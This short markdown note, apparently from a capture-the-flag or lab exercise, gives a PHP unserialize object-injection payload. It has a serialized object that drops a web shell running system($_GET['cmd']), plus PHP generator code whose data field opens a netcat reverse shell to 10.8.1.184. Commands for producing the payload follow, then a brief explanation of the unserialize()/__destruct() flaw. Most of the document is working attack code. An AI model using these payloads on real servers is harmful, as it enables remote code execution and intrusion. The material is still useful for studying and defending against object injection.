Payload.md

Payload

So The Payload Looks Like This:

O:4:"file":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET[\'cmd\']); ?>

The Original Payload:

<?php
class file
{
 public $file = 'n.php';
 public $data = '<?php shell_exec("nc -e /bin/bash 10.8.1.184 1234"); ?>';
}

echo (serialize(new file));

?>"

To Convert The Original Payload:

$ php original_payload.php > payload.txt

$ cat payload.txt

You Should See Your Payload.

---

Explanation

If unserialize() is used on untrusted data, and classes with __destruct() (or similar) exist, plus URL wrappers are enabled, attackers can exploit it to load remote resources or execute arbitrary code.

flow diagram of how the unserialize() vulnerability with __destruct() and urlopen enabled can be exploited.